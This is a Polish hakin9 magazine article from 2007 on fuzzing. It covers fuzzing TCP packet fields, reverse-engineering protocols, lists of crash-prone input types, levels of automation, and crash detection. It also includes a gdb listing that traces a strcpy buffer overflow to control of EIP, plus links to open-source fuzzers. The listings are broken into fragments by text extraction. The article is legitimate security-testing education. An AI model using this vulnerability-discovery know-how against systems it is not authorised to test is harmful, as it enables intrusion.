teraz  zajmiemy  się  badaniem  pakie-
tu TCP w celu poznania koncepcji na 
wpół  poprawnych  danych.  Graficzne 
wyobrażenie  struktury  pakietu  TCP 
przedstawia Rysunek 1. U góry znaj-
duje się informacja o warstwie Ether-
net – a więc adres źródłowy MAC, ad-
res docelowy MAC oraz typ pakietu. 
Następna  w  kolejności  jest  informa-
cja  o  warstwie  IP  –  wersja,  długość 
nagłówka, całkowita długość, numer 

W Sieci

•   http://events.ccc.de/congress/2005/fahrplan/attachments/956–22C3–537–en–fuz-

zing.mp4.torrent wideo z doskonałym wykładem Van Sprundela na temat fuzzingu,

•   http://static.23.nu/md/Pictures/FUZZING.PDF  slajdy  do  wspomnianego  wyżej 

wykładu,

•   http://www.cs.wisc.edu/~bart/fuzz/fuzz.html  Informacje  o  rezultatach  osiągnię-

tych przez ludzi skupionych wokół Bartona P. Millera,

•   http://freshmeat.net/projects/mangleme/ mangleme at freshmeat,
•   http://www.ee.oulu.fi/research/ouspg/protos/  Strona  internetowa  university  of 

Oulu,

•   http://ilja.netric.org/files/fuzzers/htmler.py HTMLer,
•   http://www.digitaldwarf.be/products/ircfuzz.c ircfuzz,
•   www.digitaldwarf.be/products/dhcpfuzz.pl dhcpfuzz,
•   http://www.secdev.org/projects/scapy/ Strona internetowa projektu Scapy,
•   http://labs.idefense.com/software/fuzzing.php Strona internetowa notSPIKEfile, fi-

lefuzz i SPIKEfile,

•   http://www.blackhat.com/presentations/bh–usa–03/bh–us–03–bret–mounet.pdf 

prezentacja COMbust,

•   http://www.digitaldwarf.be/products/mangle.c mangle,
•   http://www.immunitysec.com/resources-freesoftware.shtml Strona internetowa o 

SPIKE,

•   http://peachfuzz.sourceforge.net/ strona internetowa o Peach,

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

62

identyfikacyjny,  flagi,  TTL,  protokół, 
suma kontrolna, źródłowe IP i docelo-
we IP. Wszystkie te informacje nie są 
istotne w przypadku fuzzingu ukierun-
kowanego na protokół TCP. Aby sku-
tecznie  zastosować  fuzzing  do  TCP, 
będą musiały pozostać nietknięte.

Blok TCP, o którym tu mowa, na-

stępuje po blokach Ethernetu oraz IP. 
W  większości  przypadków  nie  jest 
zasadne, by całkowicie wypełniać go 
przypadkowymi danymi. O wiele bar-
dziej prawdopodobne jest to, że ktoś 
będzie próbował zastosować fuzzing 
do oddzielnych pól, które znajdują się 
w  nagłówku  TCP  lub  części  zawie-
rającej dane pakietu. Zwróćmy więc 
uwagę  na  pola,  które  znajdują  się 
w  bloku  TCP.  Pierwszymi  z  nich  są 
port nadawcy i port odbiorcy. Za ni-
mi znajdują się numer sekwencyjny i 
numer potwierdzenia. Następny frag-
ment odpowiada za kontrolę całkowi-
tej  długości  nagłówka  TCP.  Wresz-
cie pakiet zawiera flagi, rozmiar okna 
i sumę kontrolną. Dopiero tutaj – po-
przedzone dwoma wartościami zero 
– znajdują się rzeczywiste dane, ja-
kie podlegają transmisji.

Na  czym  więc  mógłby  polegać 

problem, gdybyśmy zastąpili wszyst-
ko całkowicie przypadkowymi dany-
mi? Komputer odbierający przyjąłby 
wówczas założenie, że pakiet został 
podczas transmisji uszkodzony i za-
żądałby nowego. W ten sposób zde-
cydowana większość pakietów, które 
przesyłalibyśmy przez sieć, nie była-
by w stanie wywołać żadnego efek-
tu. Jak widzimy, jedynym sposobem 
na zastosowanie fuzzingu do proto-
kołu TCP jest złożenie pakietu, który 
komputer uzna za poprawny.

TCP  posiada  bardzo  dobrze  na-

pisaną i obszerną dokumentację. Ale 
jak można zastosować fuzzing w przy-
padku protokołu, który jest ledwie zna-
ny, i kiedy nie można uzyskać dostę-
pu  do  wystarczającej  ilości  informa-
cji? Taka sytuacja ma miejsce o wie-

le częściej niż można byłoby się tego 
spodziewać.  Nawet  jeśli  program  ko-
rzysta ze standaryzowanego protoko-
łu, to aby przekazywane dane zostały 
przetworzone,  przede  wszystkim  bę-
dą musiały pasować do jakiegoś sche-
matu. Dlatego pierwszym ważnym za-
daniem jest obserwacja przepływu da-
nych  pomiędzy  klientem  i  serwerem. 
W  przypadku  połączenia  sieciowego 
oznacza to przechwytywanie strumie-
nia pakietów przy użyciu takich narzę-
dzi, jak Wireshark lub tcpdump. Można 
również obserwować komunikację po-
między graficznym frontendem i jego 
konsolowym  odpowiednikiem.  Praw-
dziwym wyzwaniem jest jednak okre-
ślenie  znaczenia  różnych  elementów 
tej komunikacji.

Większość  aplikacji  korzysta  ze 

standardowych  klientów  do  komuni-
kacji. W przypadku serwera sieciowe-
go może to być dowolna przeglądarka. 
Serwery do grania online komunikują 
się zazwyczaj z odpowiednimi grami, 
a  systemy  zaprojektowane  do  zarzą-
dzania  firmą  posiadają  zwykle  odpo-
wiednie  własne  oprogramowanie  fir-
mowe. Takie rozwiązanie można wy-
korzystać, kiedy chodzi o dekodowa-
nie  struktury  przesyłanych  pakietów. 
Pierwszym  krokiem  jest  wysłanie  kil-
ku  pakietów  za  pomocą  klienta  przy 
zachowaniu  takich  samych  ustawień. 
Części pakietu, które ulegają podczas 
tego  procesu  zmianie  są  ewidentnie 
zależne od numeru pakietu bądź chwi-
li, w której jest przesyłany. Następnym 
krokiem  jest  zmiana  pojedynczego 
ustawienia klienta i zbadanie nowego 
pakietu pod kątem zmian. Każda no-
wo znaleziona zmiana ma najprawdo-
podobniej związek z nowym ustawie-
niem.  Niekiedy  zmiana  pojedynczej 
opcji  w  aplikacji  klienta  prowadzi  do 
zmian  w  kilku  oddzielnych  częściach 
pakietu. W takim przypadku, zastoso-
wana zmiana mogła być tylko abstrak-
cją dla kilku innych ustawień lub pakiet 
mógł  zawierać  sumy  kontrolne,  które 

zmieniają się odpowiednio do ogólnej 
zawartości  pakietu.  Proces  ten  mo-
że  być  powtarzany  dowolną  ilość  ra-
zy podczas zabawy różnymi ustawie-
niami klienta, do czasu, kiedy w końcu 
wszystkie części pakietu zostaną po-
myślnie dekodowane. Zaraz po osią-
gnięciu  tego  celu  najlepszym  sposo-
bem  na  udowodnienie  poprawności 
swoich  przypuszczeń  jest  przygoto-
wanie pakietu, który ma wykonać spe-
cyficzne zadanie. Jeśli serwer reaguje 
wówczas w oczekiwany sposób, ozna-
cza to, że pakiet został poprawnie za-
implementowany, a protokół prawidło-
wo zinterpretowany.

Czasami klient nie jest jednak do-

stępny do testów lub może po prostu 
nie  dostarczać  wystarczającej  ilości 
opcji,  żeby  można  było  odkryć,  jak 
działa  protokół.  W  takich  przypad-
kach  dobrym  pomysłem  jest  użycie 
serwera  w  celu  przeanalizowania 
protokołu. Aby tego dokonać, pierw-
sze, co trzeba zrobić, to przechwyce-
nie pojedynczego pakietu. Nawet je-
śli możliwa jest analiza protokołu bez 
posiadania  jakichkolwiek  informacji 
pomocniczych, zadanie to wymaga o 
wiele więcej czasu i doświadczenia. 
Pakiet  przechwycony  w  ten  sposób 
jest  następnie  częściowo  modyfiko-
wany i przesyłany ponownie do ser-
wera i w tym czasie obserwuje się je-
go reakcję. Czas, jakiego wymaga ta-
kie rozwiązanie, jest przeważnie za-
leżny od danego protokołu. Niektóre 
procesy (na przykład WPA handsha-
ke)  zwracają  bardzo  szczegółowe 
komunikaty o błędach, w przypadku, 
kiedy nie są w stanie obsłużyć okre-
ślonego  pakietu.  Informują  nawet, 
czego  oczekiwałyby  na  danej  pozy-
cji  zamiast  niewłaściwych  danych. 
Niektóre  inne  procesy  nie  zwracają 
w ogóle komunikatów o błędach i po 
prostu odrzucają błędny pakiet.

Po  pomyślnym  rozszyfrowaniu 

znaczenia  poszczególnych  części 
pakietu  przychodzi  czas  na  wypeł-
nienie  ich  danymi.  Aby  tego  doko-
nać, nie jest konieczne, by dane by-
ły całkowicie przypadkowe. Czasami 
używa  się  danych,  które  są  dobrze 
znane  z  tego,  że  powodują  proble-
my.  Przykładami  tego  typu  danych 
byłyby:

Listing 1. 

Fragment loga

Oct

 

13

 

21

:

36

:

48

 

grsecurity

:

 

signal

 

11

 

sent

 

to

 /

bin

/

vulnerable

[

segfault

:

20256

]

 

uid

/

euid

:

1003

/

1003

 

gid

/

egid

:

1006

/

1006

parent

 /

bin

/

bash

[

bash

:

26049

]

 

uid

/

euid

:

1003

/

1003

 

gid

/

egid

:

1006

/

1006

background image

Fuzzing

hakin9 Nr 7/2007

www.hakin9.org

63

•   bardzo długie stringi,
•   NULL,
•   znaki specjalne,
•   bloki skryptów,
•   sekwencje  wyjścia  (ang.  escape 

sequences),

•   znaki formatujące.

Bardzo  długie  stringi  są  preferowa-
nym  sposobem  wywoływania  prze-
pełnień  bufora,  NULL  może  pro-
wadzić  do  błędów  ścieżki  wykona-
nia  programu,  znaki  specjalne  mo-
gą być fałszywie interpretowane i na 
przykład ujawniać iniekcje SQL, bloki 
skryptów mogą wskazywać luki XSS 
w stronach internetowych, sekwencje 
wyjścia są czasami niewłaściwie od-
czytywane, a znaki formatujące mo-
gą prowadzić do błędów formatowa-
nia  stringów.  Przy  użyciu  takich  list 
fuzzing  może  stać  się  o  wiele  bar-
dziej skuteczny, bo lista danych, któ-
re są dobrze znane z tego, że powo-
dują  problemy,  będzie  zawsze  krót-
sza  od  niekończącej  się  listy  przy-
padkowych  danych.  Kiedy  jednak 
pracuje  się  z  listami,  istnieje  ryzyko 
pominięcia  niektórych  błędów,  które 
przy  użyciu  przypadkowych  danych 
zostałyby  znalezione  prędzej  czy 
później (gdzie później oznacza w tym 
przypadku o wiele wiele później).

Po zgłębieniu informacji związa-

nych  z  komponentami  pakietu  pro-
tokołu nadszedł czas, żeby użyć tej 
wiedzy  i  wypełnić  je  nowymi  dany-
mi. Na Rysunku 2. jeszcze raz poka-
zano  schemat  pakietu  TCP.  Jednak 
tym  razem  komponenty  podatne  na 
fuzzing  zostały  wyróżnione.  Ponie-
waż w tym przykładzie pracujemy z 
samym  protokołem  TCP,  informacje 
dotyczące warstw Ethernetu i IP zo-
stały pominięte. Ponadto pola zawie-
rające informacje o długości nagłów-
ka, ustawionych flagach oraz sumie 
kontrolnej pakietu powinny pozostać 
niezmienione,  aby  nie  doprowadzić 
do odrzucenia pakietu. Część z da-
nymi pakietu szczególnie nadaje się 
do umieszczenia w niej danych, któ-
re zwykle powodują problemy.

Metody fuzzingu

Ogólnie  rzecz  biorąc,  jeśli  chodzi  o 
fuzzing,  istnieją  trzy  poziomy  auto-

matyzacji.  Ponieważ  każdy  poziom 
ma  swoje  wady  i  zalety,  spróbujmy 
się z nimi zapoznać.

Metoda  manualnego  fuzzingu 

wymaga  od  osoby  przeprowadzają-
cej test ręcznego generowania i prze-
syłania każdego pojedynczego żąda-
nia.  Dzięki  temu  osoba  ta  uzysku-
je możliwie największą kontrolę nad 
programen i jest w stanie analizować 
jego każdą możliwą reakcję. Ponadto 
możliwe jest, w celu bliższego prze-
analizowania  konkretnego  przypad-

ku, generowanie nieznacznie różnią-
cych się wpisów na żądanie. Metoda 
manualna jest najbardziej wyczerpu-
jącym  sposobem  analizy  przy  uży-
ciu fuzzingu. W wyniku takiej analizy 
zwykle można zaobserwować wyjąt-
kowo  długie  czasy  reakcji  uwzględ-
niane  w  bazie  wiedzy.  Jeśli  chodzi 
o czas, koncepcja ta nie jest lepsza 
od klasycznego podejścia do bezpie-
czeństwa oprogramowania. Manual-
ne  podrabianie  wpisów  jest  czaso-
chłonne i wymaga sporej wiedzy.

Rysunek 1. 

Struktura pakietu TCP

Rysunek 2. 

Pakiet TCP przeznaczony do fuzzingu

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

64

Automatyczny  fuzzing  jest  prze-

ciwieństwem  manualnego  fuzzingu. 
Fuzzer  samodzielnie  generuje  wów-
czas  wpisy  i  przekazuje  je  do  pro-
gramu  bez  jakiejkolwiek  ingerencji 
człowieka. Następnie próbuje dowie-
dzieć  się,  czy  program  wciąż  działa 
poprawnie.  Jeśli  tak,  to  generowa-
ny  i  przesyłany  jest  następny  wpis. 
W przeciwnym wypadku fuzzer koń-
czy swoją pracę, dając w ten sposób 
osobie przeprowadzającej test możli-
wość przeanalizowania znalezionego 
błędu przy użyciu takich źródeł infor-
macji  jak  coredump  lub  podobnych. 
Rozwiązanie  to  znacznie  przyspie-
sza proces fuzzingu. Dlatego też sta-
je  się  możliwe  dostarczenie  o  wiele 
większej  ilości  na  wpół  poprawnych 
danych  do  programu,  a  w  następ-
stwie  tego  znalezienie  większej  ilo-
ści słabych punktów w jego wnętrzu. 
Jednak  automatyczny  fuzzing  jest  o 
wiele bardziej podatny na pominięcie 
jakiejś usterki w testowanym progra-
mie.  Nie  jest  bowiem  diagnozowany 
bezpośrednio  przez  osobę  przepro-
wadzającą  test.  Co  więcej,  automa-
tyczny fuzzer ma bardzo ograniczone 
możliwości dokładniejszego badania 
nieoczekiwanych rezultatów.

Półautomatyczny  fuzzing  jest 

opcją łączącą w sobie cechy fuzzin-
gu  automatycznego  i  manualnego. 
Zazwyczaj wygląda to tak, że wpisy 
są generowane automatycznie przez 
fuzzer, podczas gdy analiza pozosta-
wiana jest już osobie przeprowadza-
jącej test. Oczekuje się wtedy od niej 
potwierdzenia każdego pojedyncze-
go  kroku.  W  ten  sposób,  w  porów-
naniu  z  manualnym  fuzzingiem  po-
prawiona  zostaje  skuteczność  te-
stowania, a nie ma już potrzeby po-
siadania tak dogłębnej wiedzy. Oso-
ba przeprowadzająca test wciąż po-
siada kontrolę nad procesem i może 
rozpoznawać jakiekolwiek nieoczeki-
wane zachowanie programu. Jednak 
postępowanie w ten sposób jest nie-
porównywalnie  wolniejsze  od  auto-
matycznego fuzzingu.

Wykrywanie 

wadliwego działania

Jak  widzimy,  skuteczność  automa-
tycznego fuzzingu jest całkowicie za-

Listing 2. 

Analiza programu przy użyciu gdb

gdb

 /

bin

/

vulnerable

 –

q

 –

c

 

core

Using

 

host

 

libthread_db

 

library

 

"/lib/tls/libthread_db.so.1"

.

Core

 

was

 

generated

 

by

 `/

bin

/

vulnerable

'.

Program

 

terminated

 

with

 

signal

 

11

Segmentation

 

fault

.

#0 0x41414141 in ?? ()

(

gdb

)

 

info

 

reg

eax

  

0xb74efc40

  –

1219560384

ecx

  

0xb74efc3f

  –

1219560385

edx

  

0x0

  

0

ebx

  

0x15e9dfcc

  

367648716

esp

  

0xb74efc04

  

0xb74efc04

ebp

  

0x41414141

  

0x41414141

esi

  

0xb74efc40

  –

1219560384

edi

  

0xa1759c80

  –

1586127744

eip

  

0x41414141

  

0x41414141

eflags

  

0x10282

 

66178

cs

  

0x73

  

115

ss

  

0x7b

  

123

ds

  

0xc013007b

  –

1072496517

es

  

0xc013007b

  –

1072496517

fs

  

0x0

  

0

gs

  

0x33

  

51

(

gdb

)

 

disas

 

main

Dump

 

of

 

assembler

 

code

 

for

 

function

 

main

:

0x00000768

 

<

main

+

0

>:

  

push

  

%

ebp

0x00000769

 

<

main

+

1

>:

  

mov

  

%

esp

,

%

ebp

0x0000076b

 

<

main

+

3

>:

  

push

  

%

ebx

0x0000076c

 

<

main

+

4

>:

  

sub

  $

0x54

,

%

esp

0x0000076f

 

<

main

+

7

>:

  

call

  

0x764

 

<

__i686

.

get_pc_thunk

.

bx

>

0x00000774

 

<

main

+

12

>:

 

add

  $

0x1858

,

%

ebx

0x0000077a

 

<

main

+

18

>:

  

and

  $

0xfffffff0

,

%

esp

0x0000077d

 

<

main

+

21

>:

  

mov

  $

0x0

,

%

eax

0x00000782

 

<

main

+

26

>:

  

add

  $

0xf

,

%

eax

0x00000785

 

<

main

+

29

>:

  

add

  $

0xf

,

%

eax

0x00000788

 

<

main

+

32

>:

  

shr

  $

0x4

,

%

eax

0x0000078b

 

<

main

+

35

>:

  

shl

  $

0x4

,

%

eax

0x0000078e

 

<

main

+

38

>:

  

sub

  

%

eax

,

%

esp

0x00000790

 

<

main

+

40

>:

  

mov

  

0x28

(%

ebx

)

,

%

eax

0x00000796

 

<

main

+

46

>:

  

mov

  

(%

eax

)

,

%

eax

0x00000798

 

<

main

+

48

>:

  

mov

  

%

eax

,

0xffffffe8

(%

ebp

)

0x0000079b

 

<

main

+

51

>:

  

mov

  

0xc

(%

ebp

)

,

%

eax

0x0000079e

 

<

main

+

54

>:

  

mov

  

%

eax

,

0xffffffc4

(%

ebp

)

0x000007a1

 

<

main

+

57

>:

  

mov

  

0xffffffc4

(%

ebp

)

,

%

eax

0x000007a4

 

<

main

+

60

>:

  

add

  $

0x4

,

%

eax

0x000007a7

 

<

main

+

63

>:

  

mov

  

(%

eax

)

,

%

eax

0x000007a9

 

<

main

+

65

>:

  

mov

  

%

eax

,

0x4

(%

esp

)

0x000007ad

 

<

main

+

69

>:

  

lea

  

0xffffffc8

(%

ebp

)

,

%

eax

0x000007b0

 

<

main

+

72

>:

  

mov

  

%

eax

,

(%

esp

)

0x000007b3

 

<

main

+

75

>:

  

call

  

0x644

 

<

strcpy

@

plt

>

0x000007b8

 

<

main

+

80

>:

  

mov

  

0x28

(%

ebx

)

,

%

edx

0x000007be

 

<

main

+

86

>:

  

mov

  

(%

edx

)

,

%

edx

0x000007c0

 

<

main

+

88

>:

  

cmp

  

%

edx

,

0xffffffe8

(%

ebp

)

0x000007c3

 

<

main

+

91

>:

  

je

  

0x7da

 

<

main

+

114

>

0x000007c5

 

<

main

+

93

>:

  

mov

  

0xffffffe8

(%

ebp

)

,

%

eax

0x000007c8

 

<

main

+

96

>:

  

mov

  

%

eax

,

0x4

(%

esp

)

0x000007cc

 

<

main

+

100

>:

 

lea

  

0xffffe918

(%

ebx

)

,

%

eax

0x000007d2

 

<

main

+

106

>:

 

mov

  

%

eax

,

(%

esp

)

0x000007da

 

<

main

+

114

>:

 

mov

  

0xfffffffc

(%

ebp

)

,

%

ebx

0x000007dd

 

<

main

+

117

>:

 

leave

0x000007de

 

<

main

+

118

>:

 

ret

0x000007df

 

<

main

+

119

>:

 

nop

End

 

of

 

assembler

 

dump

.

(

gdb

)

 

q

background image

Fuzzing

hakin9 Nr 7/2007

www.hakin9.org

65

leżna od zdolności wykrywania uste-
rek  testowanego  programu  przez 
fuzzer. Istnieje kilka sposobów na to, 
aby fuzzer do tego zmusić.

W  przypadkach,  kiedy  program 

jest  poddawany  fuzzingowi  lokalnie 
poprzez konsolę, istnieje możliwość 
bezpośredniej  obserwacji  zachowa-
nia  testowanego  programu.  Na  Ry-
sunku  3.  pokazano  program,  który 
jest testowany manualnie w ten spo-
sób.  Uruchamiając  program,  dowia-
dujemy się, że dwie liczby są wyma-
gane  do  jego  pomyślnego  wykona-
nia. Kilka wpisów testowych sugeru-
je, że program będzie zawsze dzielić 
pierwszą liczbę przez drugą i poda-
wać wynik na wyjście. Taki schemat 
będzie prawdopodobnie podatny na 
błąd dzielenia przez zero, ponieważ 
możemy kontrolować dzielnik. A za-
tem,  w  przypadku,  gdy  wpisy  użyt-
kownika  nie  są  poprawnie  filtrowa-
ne, bardzo łatwe jest doprowadzenie 
do  crashu  programu.  Kolejne  uru-
chomienie z wartością 0 jako drugim 
argumentem  udowadnia,  że  nasze 
przypuszczenie było trafne i prowa-
dzi  do  wydrukowania  dosyć  szcze-
gółowego komunikatu o błędach. Ta-
ki komunikat może również łatwo zo-
stać rozpoznany i oceniony przez au-
tomatyczny fuzzer.

W  przypadkach,  kiedy  fuzzer 

działa poprzez sieć lub z jakiegoś in-

nego powodu nie ma bezpośrednie-
go  dostępu  do  programu,  który  jest 
testowany, w celu określenia, czy na-
stąpił crash, potrzebne są inne me-
tody. Logi systemu, w którym działa 
program, są doskonałym źródłem in-
formacji na ten temat. Usługi logowa-
nia, które są skonfigurowane wystar-
czająco  restrykcyjnie,  również  będą 
logować  sygnały.  Poprzez  spraw-
dzenie  odpowiednich  logów  fuzzer 
może  określić,  czy  program  został 
zakończony  nieprawidłowo.  Na  Li-
stingu  1.  pokazano  fragment  loga. 
Z  jego  treści  wynika,  że  program 

/bin/vulnerable  został  zamknięty  z 
sygnałem  11  o  godzinie  21:36  13 
października i w programie wystąpił 
błąd związany z pamięcią. Kiedy au-
tomatyczny fuzzer znajdzie taki wpis, 
może  porównać  dany  czas  ze  swo-
imi  własnymi  logami,  które  muszą 
zawierać przesłany wpis razem z in-
formacją  o  czasie,  kiedy  został  wy-
słany.  W  ten  sposób  określi  on,  co 
spowodowało nieprawidłowe działa-
nie programu.

Ponadto można obserwować za-

chowane programów, które są zależ-
ne  od  programu  poddawanego  fuz-
zingowi.  W  przypadku,  gdy  nastąpi 
nieprawidłowe zakończenie jednego 
z nich, jest bardzo prawdopodobne, 
że ma to jakiś związek z testowanym 
programem.

Zaraz  po  tym,  jak  fuzzer  wykry-

je błąd, zadaniem osoby przeprowa-
dzającej test jest określenie, jak da-
lece  wpływa  on  na  bezpieczeństwo 
programu. Aby tego dokonać, trzeba 
przyjrzeć się stanowi, w jakim znaj-
dował  się  program,  kiedy  nastąpił 
crash.  W  przypadkach,  kiedy  moż-
na w łatwy sposób powtórzyć crash, 
program może zostać po prostu uru-
chomiony  poprzez  debuggera.  Jed-
nak w razie, gdy crash z jakiejś przy-
czyny nie jest łatwy do powtórzenia, 
zaleca  się  użycie  coredump,  który 
zapisze  informacje  na  temat  stanu 
programu  w  chwili,  w  której  nastą-
pił  crash  do  pliku.  Następnie  może 
on zostać użyty przez debuggera do 
analizy stanu, w jakim znajdował sie 
program, kiedy nastąpił crash. Na Li-
stingu 2. pokazano, jak program /bin/

vulnerable,  który  wcześniej  spowo-
dował  segmentation  fault  przedsta-
wiony na Listingu 1, jest poddawany 
bliższej analizie za pomocą gdb.

Dzięki  użyciu  info  reg  wydruko-

wana  jest  zawartość  wszystkich  re-
jestrów procesora w momencie cra-
shu.  Dzięki  temu  możemy  zauwa-
żyć, że EBP, jak i EIP zawierają war-
tości  0x41414141.  Najprawdopodob-
niej  oznacza  to,  że  zostały  nadpi-
sane  przez  kilka  znaków  A.  Ponie-
waż  uwiarygodnia  to  przypuszcze-
nie, że za crash programu odpowia-
da jakiś rodzaj przepełnienia bufora, 
kolejnym logicznym krokiem jest roz-
kład funkcji main() programu. Przyj-
rzyjmy się dokładniej kodowi asem-
blera  przy  0x000007b3.  Jak  widzi-
my, parametr przekazywany poprzez 
linię  poleceń  jest  bez  sprawdzania 
kopiowany do bufora na stosie przy 
użyciu funkcji strcpy(), która jest do-
brze znana ze swojego niepewnego 
działania.

Ustaliliśmy  więc,  na  czym  pole-

ga słabość programu. Jednocześnie 
możemy  mieć  pewność,  że  ma  to 
znaczenie  dla  bezpieczeństwa,  po-
nieważ przepełnienie bufora pozwa-
la nam kontrolować rejestr EIP, a w 
ten sposób i execution flow. To jest 
miejsce, w którym trzeba będzie roz-
począć  prawdziwą  pracę;  będzie  to 
albo  praca  dewelopera,  który  spró-
buje wyeliminować podatną na atak 

Rysunek 3. 

Strona internetowa University of Oulu

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

66

funkcję,  albo  praca  hakera,  który 
spróbuje  napisać  exploita  wykorzy-
stującego nowoodkryty słaby punkt.

Problemy z fuzzingiem

Mimo  że  fuzzing  oferuje  wiele  ko-
rzyści  w  kwestii  testów  oprogramo-
wania, istnieją też pewne problemy, 
które  mogą  znacząco  obniżyć  sku-
teczność  procesu  testowania.  Przy-
toczymy  tutaj  przynajmniej  te  naj-
ważniejsze.

Czasami  program  zawiera  kilka 

błędów, które są wywoływane przez 
to samo wejście. W przypadku, kiedy 
błąd, który występuje jako pierwszy, 
powoduje  crash  programu,  niemoż-
liwe  jest,  żeby  fuzzer  odszukał  dru-
gi. Wydaje się to nie mieć większego 
znaczenia.  Jednak  staje  się  bardzo 
interesujące  dla  hakera,  kiedy  błąd 
wywołany  najpierw  nie  jest  istotny 
dla  względów  bezpieczeństwa.  Po-
nieważ  dostęp  do  drugiego  i  poten-
cjalnie  niebezpiecznego  błędu  jest 
zablokowany, program jest bezpiecz-
ny przez fakt, że został źle napisany. 
W  tym  przypadku  istnieje  kilka  spo-
sobów  podejścia  do  problemu,  któ-
re  może  wybrać  osoba  przeprowa-
dzająca  test:  może  ona  spróbować 
wywołać  tylko  drugi  błąd,  używając 
bardziej  precyzyjnie  zaprojektowa-
nego wejścia; może zgłosić znalezio-
ny błąd deweloperom i czekać, aż oni 
rozwiążą  problem;  wreszcie  może 
spróbować  wyeliminować  pierwszy 
błąd przy użyciu patcha, zdobywając 

w ten sposób prosty dostęp do dru-
giego błędu. Drugie podejście może 
okazać się bardzo trudne, jeśli pracu-
jemy z oprogramowaniem, które jest 
dostępne tylko w formie binarnej.

Ponadto  stopień  skomplikowania 

obsługi  programu  może  prowadzić 
w  przypadku  fuzzingu  do  wielu  pro-
blemów.  Prostym  tego  przykładem 
jest fakt, że o wiele trudniej jest spra-
wić, aby fuzzer działał poprzez złożo-
ne interfejsy, które dostarczają użyt-
kownikowi duży wybór informacji niż 
po prostu pozwolić mu na przekazy-
wanie  danych  wejściowych  poprzez 
linię  poleceń.  Poza  tym  dane  wej-
ściowe  mogą  czasami  powodować 
wyświetlanie  wyskakujących  okie-
nek, które trzeba zamknąć, zanim bę-
dzie można przekazać kolejne. W ta-
kim przypadku często niezbędne jest 
przechwycenie interfejsów myszki lub 
klawiatury  systemu  operacyjnego, 
co  ogranicza  szybkość  fuzzingu  do 
szybkości reakcji tych interfejsów.

Jeśli  fuzzing  wykorzystywany 

jest do hakowania określonego sys-
temu, niezbędne jest zrekonstruowa-
nie  tego  właśnie  systemu  najwier-
niej,  jak  to  możliwe.  W  przeciwnym 
razie może być tak, że crash progra-
mu jest zależny od innych części je-
go  własnego  systemu  i  dlatego  nie 
jest możliwe wywołanie go na syste-
mie, który był oryginalnym celem.

Zależnie  od  złożoności  danych 

wejściowych  używanych  do  fuzzin-
gu,  ograniczającymi  czynnikami  mo-

gą być też moc procesora komputera 
lub  szybkość  połączenia  sieciowego. 
Jeśli testowany program, wymaga na 
przykład uwierzytelniania, a dane, któ-
re  chcemy  wykorzystać  do  fuzzingu, 
leżą poza warstwą uwierzytelniającą, 
fuzzer będzie musiał przechodzić pro-
cedurę  uwierzytelniającą  przed  każ-
dym dostępem do programu – zakła-
dając, że nie jest możliwe dostarcze-
nie wielu zestawów danych jednocze-
śnie.  Ten  sam  problem  pojawia  się, 
kiedy chcemy zastosować fuzzing do 
pojedynczego  fragmentu  (ang.  single 

step), który jest umieszczony za wie-
loma  innymi  fragmentami  wewnątrz 
programu.  Jak  widać,  można  dopro-
wadzić do dużego obciążenia łącza i 
CPU przy niewielkim wysiłku.

Ostatnią,  ale  nie  najmniej  waż-

ną rzeczą jest to, że kiedy używa się 
fuzzingu, nigdy nie można być pew-
nym  tego,  że  znalazło  się  niezależ-
nie odtwarzalny błąd, zanim nie do-
kona  się  analizy  kodu  binarnego.  Z 
uwagi  na  ogromną  ilość  czynników, 
które  mogą  potencjalnie  wpływać 
na zachowanie programu, nigdy nie 
można mieć pewności co do tego, że 
rozważyło się wszystkie z nich.

Praktyka

W  pierwszej  części  artykułu  zapo-
znaliśmy się z teoretycznymi podsta-
wami  fuzzingu,  dowiedzieliśmy  się 
na  czym  polega  ta  technika,  gdzie 
można jej użyć i do czego odnosi się 
termin na wpół poprawnych danych. 
Zostały  też  przedstawione  trzy  po-
ziomy  automatyzacji  fuzzingu  oraz 
wymagania,  które  muszą  być  speł-
nione przez osobę przeprowadzają-
cą  test  i  oczywiście  sam  fuzzer.  W 
skrócie, jest to wszystko, co powin-
niśmy  wiedzieć,  żeby  kontynuować 
i zapoznać się z praktycznym wyko-
rzystaniem fuzzerów.

Na  kolejnych  stronach  tekstu 

znajdzie  się  omówienie  najważniej-
szych  fuzzerów,  które  są  dostępne 
na zasadach open source. Korzysta-
jąc  z  tej  listy  jako  referencji,  można 
zacząć  przeszukiwać  inne  popular-
ne aplikacje pod kątem błędów. Każ-
dy fuzzer posiada własną historię od-
krytych błędów. Niektóre z tych błę-
dów są jedynie wymienione w logach 

Rysunek 4. 

Strona internetowa platformy Peach

background image

Fuzzing

hakin9 Nr 7/2007

www.hakin9.org

67

aktualizacji  produktu,  informacje  o 
innych  są  dostępne  dopiero  wielu 
miesiącach.

Nie  istnieje  fuzzer,  który  byłby 

kompatybilny ze wszystkimi dostęp-
nymi aplikacjami. Aby rozwiązać ten 
problem, poznamy łatwy sposób na 
napisanie  własnego  fuzzera  przy 
użyciu Pythona.

Znane fuzzery

Fuzzery są tworzone przez wielu lu-
dzi w odpowiedzi na różne potrzeby. 
Wiele  fuzzerów  powstaje  w  firmach 
zajmujących się tworzeniem oprogra-
mowania  w  celu  przetestowania  ich 
własnych  produktów.  Zwykle  nie  są 
one  dostępne  publicznie,  ponieważ 
większość firm niezbyt chętnie rozda-
je  narzędzia,  które  potencjalnie  mo-
głyby posłużyć do złamania ich kodu. 
Poza tym, istnieje wiele komercyjnych 
fuzzerów, przeznaczonych do specja-
listycznych  celów.  Nie  udostępniają 
one źródeł i są bardzo drogie. Te dwa 
typy fuzzerów dostarczają ogromne-
go potencjału ludziom o grubym port-
felu, którzy chcą zagłębić się w jakiś 
specyficzny temat. Jednak z uwagi na 
wysoką cenę, nie są one odpowied-
nie  dla  osób  początkujących,  które 
chcą stawiać pierwsze kroki.

Fuzzery,  którym  się  przyjrzymy, 

będą  napisane  głównie  przez  stu-
dentów, hakerów lub specjalistów od 
zabezpieczeń,  którzy  zdecydowa-
li  się  podzielić  się  wynikami  swojej 

pracy  z  resztą  świata.  Wiele  z  tych 
fuzzerów było początkowo pisane ja-
ko Proof of Concept (PoC), żeby po-
móc pojedynczym osobom doprowa-
dzić  do  crashu  określony  program. 
Większość z owych fuzzerów nie bę-
dzie  w  stanie  współzawodniczyć  z 
funkcjonalnością  ich  komercyjnych 
odpowiedników.  Ponieważ  jednak 
są one dostępne na zasadach Open-
Source, każdy z nas ma możliwość 
zmiany tego stanu.

Fuzzery sieciowe

